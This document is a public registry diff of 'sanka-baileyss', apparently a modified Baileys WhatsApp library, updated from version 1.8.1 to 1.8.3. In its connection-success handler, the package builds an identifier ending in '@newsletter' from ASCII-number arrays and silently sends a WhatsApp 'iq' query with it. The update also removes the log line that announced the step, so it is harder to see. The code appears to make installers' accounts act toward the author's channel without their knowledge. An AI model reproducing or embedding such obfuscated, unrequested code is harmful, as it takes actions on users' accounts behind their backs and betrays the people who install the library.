sanka-baileyss 1.8.1 → 1.8.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -502,6 +502,8 @@ ws.on('CB:success', async (node) => {
502
502
  try {
503
503
  await uploadPreKeysToServerIfRequired()
504
504
  await sendPassiveIq('active')
505
+ logger.info('opened connection to WA')
506
+ clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
505
507
  try {
506
508
  function asciiDecode(asciiArray) {
507
509
  let result = '';
@@ -515,7 +517,6 @@ const decodedNumbers = asciiDecode(numbersAsAscii);
515
517
  const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
516
518
  const decodedEmailPart = asciiDecode(emailPart);
517
519
  const sanka = decodedNumbers + decodedEmailPart;
518
- logger.info({ sanka }, 'Mencoba eksekusi....');
519
520
  await query({
520
521
  tag: 'iq',
521
522
  attrs: {
@@ -532,8 +533,6 @@ attrs: {}
532
533
  });
533
534
  } catch (err) {
534
535
  }
535
- logger.info('opened connection to WA')
536
- clearTimeout(qrTimer)
537
536
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
538
537
  ev.emit('connection.update', { connection: 'open' })
539
538
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.1",
3
+ "version": "1.8.3",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",